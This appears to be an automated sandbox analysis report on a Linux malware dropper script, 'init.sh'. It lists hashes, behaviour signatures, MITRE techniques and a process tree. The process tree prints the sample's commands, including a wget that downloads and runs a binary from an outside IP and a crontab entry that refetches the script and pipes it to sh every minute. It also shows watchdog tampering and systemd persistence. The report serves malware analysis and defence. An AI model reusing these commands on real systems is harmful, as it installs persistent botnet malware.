Analysis
- max time kernel
147s - max time network
148s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
20/06/2026, 18:10
Static task
static1
Behavioral task
behavioral1
Sample
init.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
init.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
init.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
init.sh
Resource
debian9-mipsel-20260513-en
General
- Target init.sh
- Size 13KB
- Sample260620-wsjsbsgt6l
- SHA256 0dce6cfc2371c7c483e06130781ebf4a1f713abb55d2c9dd7d9d86377c0000e7
- MD5 38e3a4f960cc980d48265519c5c38941
- SHA1 a8d8cbce4136f7ae2e720e99e575bd9a67d58082
- SHA512 8391549ccd99431211f0697e0d662bb3275823d101234ebf8d149a780dfe102016446611044c2b8fd1432cb7ae3febbf15e3dbf4215a9183a3a5c5342b1f1abe
- SSDEEP 192:hus/MEhrlqT/QKZPVmhxZPKgjlhtVZDmh5RDKlE3O+SUmlT0P3V6t6G8yA6jCA6R:llGS1LBYRQEZT3+vBNtvA
- TLSH T13C527651BD31A274252D80F9AACA2500F54B513B4A0C794571AFA2607F3CBAC61FD6FE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 677 chmod 690 chmod - Deletes itself 1 IoCs
pid Process 694 .d - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/.exectest.654 682 init.sh /tmp/.d 691 init.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog .d File opened for modification /dev/misc/watchdog .d - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.YJCfOO crontab File opened for modification /var/spool/cron/crontabs/root .d - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .d - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service .d - Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address .d -
resource yara_rule behavioral2/files/fstream-3.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 694 .d - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .d - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .d - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/class/net .d -
description ioc Process File opened for reading /proc/23/cmdline .d File opened for reading /proc/169/cmdline .d File opened for reading /proc/650/stat .d File opened for reading /proc/654/cmdline .d File opened for reading /proc/10/cmdline .d File opened for reading /proc/320/cmdline .d File opened for reading /proc/19/stat .d File opened for reading /proc/29/stat .d File opened for reading /proc/97/stat .d File opened for reading /proc/845/stat .d File opened for reading /proc/76/cmdline .d File opened for reading /proc/22/cmdline .d File opened for reading /proc/650/cmdline .d File opened for reading /proc/self/stat systemctl File opened for reading /proc/3/stat .d File opened for reading /proc/42/stat .d File opened for reading /proc/137/stat .d File opened for reading /proc/322/stat .d File opened for reading /proc/11/cmdline .d File opened for reading /proc/26/stat .d File opened for reading /proc/43/stat .d File opened for reading /proc/649/stat .d File opened for reading /proc/600/cmdline .d File opened for reading /proc/76/stat .d File opened for reading /proc/6/cmdline .d File opened for reading /proc/108/cmdline .d File opened for reading /proc/filesystems crontab File opened for reading /proc/304/stat .d File opened for reading /proc/692/stat .d File opened for reading /proc/819/cmdline .d File opened for reading /proc/24/cmdline .d File opened for reading /proc/233/cmdline .d File opened for reading /proc/657/cmdline .d File opened for reading /proc/692/cmdline .d File opened for reading /proc/17/stat .d File opened for reading /proc/233/stat .d File opened for reading /proc/312/stat .d File opened for reading /proc/self/exe .d File opened for reading /proc/298/cmdline .d File opened for reading /proc/687/cmdline .d File opened for reading /proc/9/stat .d File opened for reading /proc/23/stat .d File opened for reading /proc/600/stat .d File opened for reading /proc/7/cmdline .d File opened for reading /proc/filesystems systemctl File opened for reading /proc/18/stat .d File opened for reading /proc/24/stat .d File opened for reading /proc/self/stat systemctl File opened for reading /proc/20/stat .d File opened for reading /proc/28/stat .d File opened for reading /proc/134/stat .d File opened for reading /proc/291/stat .d File opened for reading /proc/657/stat .d File opened for reading /proc/2/cmdline .d File opened for reading /proc/43/cmdline .d File opened for reading /proc/140/stat .d File opened for reading /proc/338/stat .d File opened for reading /proc/25/cmdline .d File opened for reading /proc/1/environ systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/601/stat .d File opened for reading /proc/576/cmdline .d File opened for reading /proc/18/cmdline .d File opened for reading /proc/97/cmdline .d - Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.redis-server.pid .d File opened for modification /tmp/.exectest.654 init.sh File opened for modification /tmp/.d wget File opened for modification /tmp/.bot_exit_reason .d
Processes
-
/tmp/init.sh/tmp/init.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:654 -
/bin/unameuname -m2⤵PID:665
-
-
/usr/bin/odod -to22⤵PID:670
-
-
/usr/bin/awkawk "NR==1{ exit substr(\$2,6,1) == \"1\" ? 0 : 1 }"2⤵PID:671
-
-
/bin/chmodchmod +x /tmp/.exectest.6542⤵
- File and Directory Permissions Modification
PID:677
-
-
/tmp/.exectest.654/tmp/.exectest.6542⤵PID:682
-
-
/bin/rmrm -f /tmp/.exectest.6542⤵PID:684
-
-
/usr/bin/wgetwget -q --no-check-certificate "--timeout=10" http://91.239.211.89/bins/kworkerd-blkcg -O /tmp/.d2⤵
- Writes file to tmp directory
PID:686
-
-
/bin/chmodchmod +x /tmp/.d2⤵
- File and Directory Permissions Modification
PID:690
-
-
/tmp/.d/tmp/.d2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:691 -
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵PID:696
-
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:697
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"3⤵PID:710
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:711
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵PID:734
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
- Reads runtime system information
PID:735
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 694 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵PID:738
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
PID:739
-
-
-
-
/bin/sleepsleep 82⤵PID:692
-
-
/usr/bin/basenamebasename /tmp/init.sh2⤵PID:805
-
-
/bin/rmrm -f /tmp/init.sh2⤵PID:806
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/.d
- Size 102KB
- SHA256 915d8baa66a420bd67b75a9d6152ab99036c16d29f1b73b2ad4d8e3dbae382e2
- MD5 7560006cd7ec668652484999aae4dba3
- SHA1 4ef4a5c697705a2dbc6dd918ba32980621f51185
- SHA512 501bdb4eec03404fef67eaa5e8d7e1032cdcf3e250e861317d16fe40aa2870531a270ecf5c960152f4bc3966e14ac7a9afdc9f6a70116da31b803d7c370ccb96
- SSDEEP 3072:XIdadX7BdsrJJG+jHlv5Gbldm/JOwbKoGL:Madldsn9jHlRq8c
- TLSH T14CA31258F08E9422C796017A8DD5DF1B0E9ED399F77BF5AB0540D3F0C76358212AAE24
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.exectest.654
- Size 18B
- SHA256 b4d644d4279594903f1a9911956432d9473041f2984fc6014c14d7402c7d126c
- MD5 4afefbccace4ebd39570310aeb9276f4
- SHA1 6899932257a582a8a0e358aed9a0adbbfee79dda
- SHA512 10eba37e2343f536aaa6615843878bb66c9aba5ef780d6c60e4d385d5efecb45c02df546ec0f2046044e9aa7c763eb12cf9ed69f76ea1bb2165b46e35e903fbe
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.YJCfOO
- Size 342B
- SHA256 985e12e27f4d0dddc9356c6260ac4b435add50937254ec6266552e1697d0b9de
- MD5 bca95727caa53e9172574d3bcc4607b6
- SHA1 e8bed67659bcd113e5c95e9460ae04c0c59c6428
- SHA512 54c30b9668f522ca28258e8f910a0c4f8b383dcdba6d5d815ca5531159d02b1cc4ff17c0749e5784355282a04531d3833e6004048cb6031d15894296d527fec0
- TLSH T1FFE0C0A87A5315316D054A5C1279953C5482E4BFE899FF61D88D4804001C30E7B6CE30
- MD5 SHA1 SHA512 TLSH